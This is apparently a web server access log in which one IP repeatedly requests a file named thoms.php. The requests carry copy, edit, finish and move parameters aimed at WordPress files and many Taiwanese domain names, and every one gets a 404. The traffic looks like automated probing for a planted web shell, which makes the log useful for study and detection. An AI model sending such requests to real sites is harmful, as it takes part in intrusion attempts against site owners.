45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bioway88.com-20260912023827 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bioway88.com-20260912023827" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?edit=wp-login.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-config-sample.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flocoy.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fthoms.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fthoms.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
